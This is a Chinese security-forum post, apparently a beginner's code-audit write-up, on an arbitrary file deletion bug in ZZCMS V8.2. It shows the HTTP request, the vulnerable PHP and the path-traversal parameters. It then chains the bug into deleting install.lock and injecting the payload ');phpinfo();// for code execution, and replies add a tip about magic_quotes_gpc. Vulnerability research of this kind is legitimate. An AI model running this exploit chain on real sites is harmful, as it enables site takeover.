用户
搜索
  • TA的每日心情
    开心
    2018-8-17 22:49
  • 签到天数: 30 天

    连续签到: 2 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    30

    主题

    92

    帖子

    437

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-3-8

    i春秋签约作者

    发表于 2018-8-15 23:58:54 134841
    本帖最后由 P0rZ9 于 2018-8-16 00:01 编辑

    一.前言:
    初学代码审计 跟着论坛大佬的脚步审计一波ZZCMS 在这里做一个小记录

    .正文:
    1.定位功能:
    下载源码在本地搭建起来,进入后台
    url: http://127.0.0.1:82/admin/
    我们选择模板的用户展厅模板管理  点击系统自带的tongyong目录
    我们随意填写模板文件名称与模板文件内容
    6MQL3IPL2U`AIQU`Y60_~~C.png

    点击删除选中 抓包,得到数据包:
    [AppleScript] 纯文本查看 复制代码
    POST /admin/template_user.php?action=del HTTP/1.1
    Host: 127.0.0.1:82
    Content-Length: 95
    Cache-Control: max-age=0
    Origin: http://127.0.0.1:82
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://127.0.0.1:82/admin/template_user.php?ml=../skin/tongyong
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: xxxx
    Connection: close
    
    title=1&ml=..%2Fskin%2Ftongyong&title_old=&start=1&Submit2=%E5%88%A0%E9%99%A4%E9%80%89%E4%B8%AD
    然后放入burp的Repeater模块等待测试

    2.代码分析:
    根据数据包我们就很容易定位到相关代码 我们去看看相关源码:
    zzcms\admin\template_user.php
    32-41行:
    [PHP] 纯文本查看 复制代码
    if ($action=="del"){
    
    checkadminisdo("label");
    
    $ml=trim($_POST["ml"]);
    
    $f="../skin/".$ml."/".nostr(trim($_POST["title"]));
    
    if (file_exists($f)){
    
    unlink($f)?showmsg('ɾ³ý³É¹¦',"?ml=".$ml):showmsg('ʧ°Ü');
    
    }else{
    
    showmsg('ÇëÑ¡ÔñҪɾ³ýµÄÄ£°å');
    
    }
    
    }
    32行判断 $action为del操作时 进入下面的操作
    33行我们跟进checkadminisdo()函数:
    inc\function.php
    1011-1016行:
    [PHP] 纯文本查看 复制代码
    function checkadminisdo($str){
    $rs=query("select config from zzcms_admingroup where id=(select groupid from zzcms_admin where pass='".@$_SESSION["pass"]."' and admin='".@$_SESSION["admin"]."')");
            $row=fetch_array($rs);
            $config=$row["config"];
            if(str_is_inarr($config,$str)=='no'){showmsg('ûÓвÙ×÷ȨÏÞ!');}
    }
    函数作用是检查是否具有操作权限 我们这里用管理员登陆的 所以这个对我们的操作无影响
    继续刚才的分析:
    34行接收了post过来的ml参数 trim()函数处理后赋值给$ml
    35 把$ml与post传输过来的title参数进行拼接 并赋值给$f
    下面的操作就是删除$f文件,并用showmsg()给出提示信息

    3.漏洞利用:
    通过阅读源代码
    我们可知道参数 ml为目录,title为文件名,然后拼接删除指定文件。我们先在根目录下新建一个test目录 里面放入test.php
    然后修改title与ml参数:title=test.php&ml=../test
    1.png
    成功删除test目录下的test.php文件...

    4.危害扩大:
    到了这里 我们可以把危害再扩大下再提交。我们都知道在cms在安装后会自动生成一个install.lock文件(如图,ZZCMS在安装步骤到达step6时生成该lock文件)
    2.png

    那么我们就可以指定删除install/install.lock文件(该文件存在说明系统已经安装过) 来达到重装cms
    3.png
    然后我们访问http://127.0.0.1:82/install/  就进入了重装界面
    4.png
    然后再利用重装系统时写配置信息时的代码执行进行getshell
    5.png
    Payload:
    [PHP] 纯文本查看 复制代码
    ');phpinfo();//
    前三个字符是为了闭合前面的define()语句
    phpinfo();是我们要执行的php一句话
    //注释掉后面的内容

    安装成功后跳转到Install/index.php  
    因为在其文件头部引入了inc/config.php文件 所以install/index.php执行了我们的php代码(phpinfo();)
    6.png

    inc\config.php(代码已经成功写入)
    7.png

    5.ZZMCS V8.2源码下载:
    https://www.lanzous.com/i1nrd2b

    PS:如有技术问题和代码疑问,请回帖留言,我会一一作答。


    我是沙发哈哈,感谢大佬的分享,学习到了
    使用道具 举报 回复
    发表于 2018-8-16 11:26:25
    提示: 作者被禁止或删除 内容自动屏蔽
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    我是大佬小迷弟。
    http://www.cnblogs.com/fox-yu/
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    反手就是一个最新版的0day
    使用道具 举报 回复
    发表于 2018-8-17 12:13:09

    反手就是一个最新版的0day
    使用道具 举报 回复
    发表于 2018-8-22 10:38:25
    666666666666666666
    q 36222404 一起嗨啊
    使用道具 举报 回复
    发表于 2018-8-23 00:56:59
    前来膜拜z9大佬,只求能够捡到腿毛
    使用道具 举报 回复
    请问这个任意文件删除,是必须在后台完成吗?
    使用道具 举报 回复
    发表于 2018-8-25 10:01:04
    本帖最后由 米小白 于 2018-8-25 11:19 编辑

    }MV)}6AY%4TGK4M6$`(Z{91.png 我的'直接被转义了 导致后面的 phpinfo()无法执行

    使用道具 举报 回复
    发表于 2018-8-25 10:01:26
    一个小逗比 发表于 2018-8-23 23:23
    请问这个任意文件删除,是必须在后台完成吗?

    前台也有
    使用道具 举报 回复
    发表于 2018-8-28 18:43:43
    米小白 发表于 2018-8-25 10:01
    我的'直接被转义了 导致后面的 phpinfo()无法执行

    需要设置magic_qupte_gpc为off状态  
    8884d694-fa01-4ca7-adb7-cacd6331b0b4.png
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册